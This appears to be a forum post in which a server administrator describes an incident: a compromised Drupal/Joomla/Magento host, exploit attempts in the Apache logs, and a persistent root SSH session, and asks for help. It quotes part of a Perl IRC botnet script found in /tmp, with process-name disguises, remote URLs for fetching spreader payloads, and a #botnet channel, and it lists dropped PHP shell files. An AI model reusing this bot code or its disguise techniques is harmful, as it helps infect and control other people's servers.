I am experiencing a security issue with one server that it happens that I manage. I will try to cite all relevant facts as briefly as possible. I am asking for any additional information and course of action to take.
The server hosts several relatively low-volume web sites, and other minor services as well. Most sites are Drupal or Joomla, and they seem to be updated as much as I can tell. Recently a Magento site added only temporarily, about which I will come back later.
It all started with observing high load average, cpu usage on the server. Soon this got related to high response times.
Running a netstat revealed an unusual and relatively high number of connections from a specific IP from an Australian ISP. Most of these connections were related with apache processes, and many others remained to SYN status with no relative pid.
At first I thought that this is some kind of flood to Apache, so I decided to ban the IP from the Apache conf file (Deny from) and kill all relevant processes, which appeared to work for a while.
Very soon I realised that I experienced the exact same issue from another IP from a Dutch ISP. I quickly installed mod_evasive and also banned the IP. This seemed to relax the issue a bit (cpu down to 80%).
Soon I received an email from the server provider that the server is being abused and urged me to examine the sites for malicious code. Immediately I did the following (so far, this is ongoing):
ps faux
,netstat
revealed nothing suspiciouschkrootkit
,rkhunter
, the same- examined the apache log files by checking against the known IPs and that revealed to me several attempts to exploit vulnerabilities on the magento site.
- we suspended the web hsoting for that account, removed the files.
- a further investigation to all directories that apache has write perms revealed there were some suspicious files.
- the cpu usage went down to 0-10%.
The suspicious files are, well suspicious. There was a particular file /tmp/ask
which looked like:
#!/usr/bin/perl
#
###############################################
# Im not living im just killing time
#
#
# radiohead ganja ipays the beatles
#
#
###############################################
use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#
#
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
$processo = $ps[rand scalar @ps];
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc
There was another directory named /tmp/.X11-unix
which of course is irregular as there is no x on the server. In the dir the following files:
tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.zip
tmp/.X11-unix/inc.zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.zip
tmp/.X11-unix/ipays.gif
After all that, other investigations with netstat, ps, executable files tampering, debsums, chkrootkit and rkhunter are all negative.
Apart from this very strange observation (legit details replaced with xxx):
wtower@xxx~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 0 xx.xxx.xx.xxx:22 43.229.52.15:49460 ESTABLISHED 3382/sshd: root [pr
tcp 0 48 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 848 xx.xxx.xx.xxx:22 43.229.52.15:39686 ESTABLISHED 3390/sshd: [accepte
tcp 0 0 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 0 xx.xxx.xx.xxx:22 43.229.52.15:39686 ESTABLISHED 3390/sshd: root [pr
tcp 0 0 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
You can notice that a ssh connection as root from 43.229.52.15 (Japan) is constantly changing pids, as root. w
shows nothing. I am so buffled and compromised.
Possibly all the above are not connected, but I got not clue. Any help is much appreciated.